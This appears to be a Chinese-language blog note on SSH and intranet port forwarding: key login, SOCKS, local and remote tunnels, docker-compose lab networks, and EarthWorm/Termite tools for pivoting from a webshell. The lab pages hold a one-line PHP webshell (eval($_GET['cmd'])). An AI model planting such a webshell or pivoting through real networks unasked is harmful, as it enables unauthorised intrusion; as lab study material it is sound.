前言 内网端口转发是个神奇的东西,记录一下
ssh简介 在端口转发之前先简单介绍ssh,ssh其实就是一种网络协议,用在计算机之间的加密登录,就是我们在自己的机子用ssh协议远程登录另一个机子,即使中间被截获了,还是安全的,密码并不会泄露 登录命令很简单,就是
1 2 # 当本地用户与远程用户一样的时候可以缺省user,默认端口22 ssh user@host -p 2345
而ssh登录过程是这样的
1 2 3 远程主机接收到登录的请求,发送自己的公钥 用户接收公钥,加密登录密码,发过去 远程主机私钥解密密码,如果一致就允许登录
可以看到,这个过程还是很安全的,但是还有一种可能,如果有人截获了登录请求,然后冒充远程主机将伪造的公钥发给用户,用户就很难辨别是真还是假了,这就是常说的中间人攻击
口令登录 当我们第一次登陆的时候,系统会提示
1 2 3 4 $ ssh user@host The authenticity of host '[localhost]:12313 ([127.0.0.1]:12313)' can't be established. ECDSA key fingerprint is SHA256:h60/aYmB8xxxxxx/n/ABO5Txxxxxx5DU+oZeeKAntk. Are you sure you want to continue connecting (yes/no)?
在第一次登陆的时候,系统会提示我们只用公钥,没有办法验证主机的真实性,确定信任这个过程并继续吗,输入yes以后系统会提示主机已经得到信任,然后就是输入密码,正确就能直接登录进去了,同时远程主机的公钥也会被保存到$HOME/.ssh/known_hosts
文件中(linux系统通常为/etc/ssh/ssh_known_hosts
),因此下一次登录的时候因为能找出公钥,所以会跳过警告部分
秘钥登录 就是我们自己先把公钥文件存储在远程主机上,然后远程主机发一串随机字符串,本地用私钥加密发给远程主机,主机公钥解密以后如果跟原来一样就允许登录,不需要填写密码 一般如果有秘钥文件的话会在自己的$HOME/.ssh/
目录下找到一个id_rsa.pub和id_rsa文件,没有的话运行ssh-keygen
去生成一个,然后再用ssh-copy-id user@host
去把公钥发到远程主机上,注释远程主机/etc/ssh/sshd_config
文件以下命令
1 2 3 RSAAuthentication yes PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys
重启一下ssh就能秘钥登录了
端口转发 ssh的连接是有方向的,从ssh client发去ssh serve
环境搭建 先给个简单的带内网的dockerfile,部署了两个php7.3-apache环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 version: '2' services: machineA: image: php:7.3-apache ports: - "0.0.0.0:23333:23333" - "0.0.0.0:12313:22" - "0.0.0.0:12314:80" volumes: - ./index.php:/var/www/html/index.php restart: always links: - machineB machineB: image: php:7.3-apache volumes: - ./index.php:/var/www/html/index.php tty: true
index.php就是一个简单的一句话木马
正向代理 假设有ABC三台主机,A请求C,B做代理,代替A访问C,将结果返回给A 这种方法操作十分简便,但是需要我们知道中间的作为跳板的B的ssh密码 先给machineA装一个openssh-server,配好账号密码
1 adduser ariel --gid 1000 --home /home/ariel
添加用户到ssh文件中,运行它远程登录
重启一下ssh服务即可
方法一 将主机的2333端口和machineA(也就是作为中间代理的B)连接起来
1 2 3 4 C:\Users\Ariel>ssh -D 2333 ariel@*.*.*.* -p 12313 ariel@134.175.34.73's password: ... ariel@852dde7c09b9:
这样子我们就成功地连接了A和B,再配置一下火狐的代理,因为ssh只能作为socks的代理,所以我们只配置它代理socks主机 然后就能通过B访问到内网的主机C了
方法二 本地转发还有别的方法
1 2 3 4 5 C:\Users\Ariel>ssh -L 2333:192.168.80.3:80 ariel@*.*.*.* -p 12313 ariel@134.175.34.73's password: ariel@852dde7c09b9:~$ # 也可以缺省网卡ip,这就相当于访问localhost(也就是*.*.*.*)的80端口 ssh -L 2333:localhost:80 ariel@*.*.*.* -p 12313
这样转发是将machineA(也就是B)作为跳板,将machineB(即C)的80端口的流量转发到本地的2333端口,相当于访问本地的2333端口时,就是访问machineB的服务 这个不需要设置代理,直接访问127.0.0.1:2333可以相当于访问192.168.80.3:80
方法三 上面的方法都是先要有ssh口令才能转发的,如果只有webshell,那就需要用到端口转发工具了 下载地址
1 2 旧版:http://rootkiter.com/EarthWorm/ 新版:http://rootkiter.com/Termite/
先把文件放进去machineA,确定好系统版本执行相对应的文件 然后配置好浏览器的代理,就能访问到machineB的服务了
反向代理 这里来个反向代理
方法一
1 2 3 4 5 6 7 ssh -R 2333:192.168.80.3:80 ubuntu@*.*.*.* ubuntu@*.*.*.*'s password: ubuntu@VM-0-10-ubuntu:~$ curl http://127.0.0.1:2333 <code><span style="color: #000000"> <br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #0<br />eval(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'cmd'</span><span style="color: #007700">]);</span> </span>
这里是通过B去连接A,如果我们访问本地的2333端口,相当于访问192.168.80.3的80端口
方法二 这个也是有个webshell,不需要ssh口令就能连接过去 这里同样给个多级内网的环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 version: '2' services: machineA: image: php:7.3-apache ports: - "0.0.0.0:2345:2345" - "0.0.0.0:12311:22" - "0.0.0.0:12312:80" mem_limit: 200m volumes: - ./index.php:/var/www/html/index.php restart: always networks: out_network: ipv4_address: 10.0.20.10 innerA_network: ipv4_address: 10.0.30.10 machineB: image: php:7.3-apache mem_limit: 200m volumes: - ./index.php:/var/www/html/index.php restart: always networks: innerA_network: ipv4_address: 10.0.30.11 innerB_network: ipv4_address: 10.0.40.10 machineC: image: php:7.3-apache mem_limit: 200m volumes: - ./index.php:/var/www/html/index.php restart: always networks: innerB_network: ipv4_address: 10.0.40.11 innerC_network: ipv4_address: 10.0.50.10 machineD: image: php:7.3-apache mem_limit: 200m volumes: - ./index.php:/var/www/html/index.php restart: always networks: innerC_network: ipv4_address: 10.0.50.11 innerD_network: ipv4_address: 10.0.60.10 networks: out_network: ipam: driver: default config: - subnet: 10.0.20.0/24 innerA_network: ipam: driver: default config: - subnet: 10.0.30.0/24 innerB_network: ipam: driver: default config: - subnet: 10.0.40.0/24 innerC_network: ipam: driver: default config: - subnet: 10.0.50.0/24 innerD_network: ipam: driver: default config: - subnet: 10.0.60.0/24